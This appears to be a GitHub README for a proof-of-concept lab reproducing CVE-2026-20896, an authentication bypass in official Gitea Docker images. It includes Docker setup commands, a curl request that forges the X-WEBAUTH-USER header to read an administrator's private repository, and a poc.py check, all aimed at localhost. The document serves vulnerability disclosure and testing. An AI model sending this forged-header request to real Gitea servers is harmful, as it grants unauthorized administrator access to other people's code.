eqstlab/cve-2026-20896Gitea Docker Image Authentication Bypass
[!WARNING] Use this PoC only in a local lab or against a system you are explicitly authorized to test.
https://github.com/user-attachments/assets/b73af2fe-0e59-438b-80d6-be93fd75697b
CVE-2026-20896 is an authentication bypass in affected official Gitea Docker images. When reverse-proxy authentication is enabled, the image-generated REVERSE_PROXY_TRUSTED_PROXIES = * setting allows a client that can reach the Gitea backend to impersonate an existing user through the X-WEBAUTH-USER header.
The lab creates an administrator named gitea-admin with a random password and stores CVE-2026-20896_AUTH_BYPASS_CONFIRMED in the private repository gitea-admin/private-proof. Reading that file without knowing the random administrator password demonstrates the bypass.
| Category | Version |
|---|---|
| Vulnerable | Official gitea/gitea Docker images ≤ 1.26.2 |
| First patched | 1.26.3 |
| Recommended | 1.26.4 or later |
The vulnerable configuration requires reverse-proxy authentication to be enabled and the Gitea backend to be directly reachable, or an upstream proxy to preserve the attacker-supplied identity header. A reverse-proxy container is not required for this local reproduction.
# build
docker build -t cve-2026-20896-gitea-vuln .
# run
docker run -d --rm --name cve-2026-20896-gitea-vuln -p 127.0.0.1:3000:3000 cve-2026-20896-gitea-vuln
Wait a few seconds for Gitea and the private proof repository to initialize.
curl -s -L -H "X-WEBAUTH-USER: gitea-admin" http://127.0.0.1:3000/gitea-admin/private-proof/raw/branch/main/proof.txt
Successful exploitation returns CVE-2026-20896_AUTH_BYPASS_CONFIRMED.
python poc.py http://127.0.0.1:3000
The script compares unauthenticated, non-admin, and forged administrator requests and prints VULNERABLE when the authorization bypass is confirmed. It requires Python 3.10 or later and uses only the standard library.
REVERSE_PROXY_TRUSTED_PROXIES to trusted proxy addresses.docker stop cve-2026-20896-gitea-vuln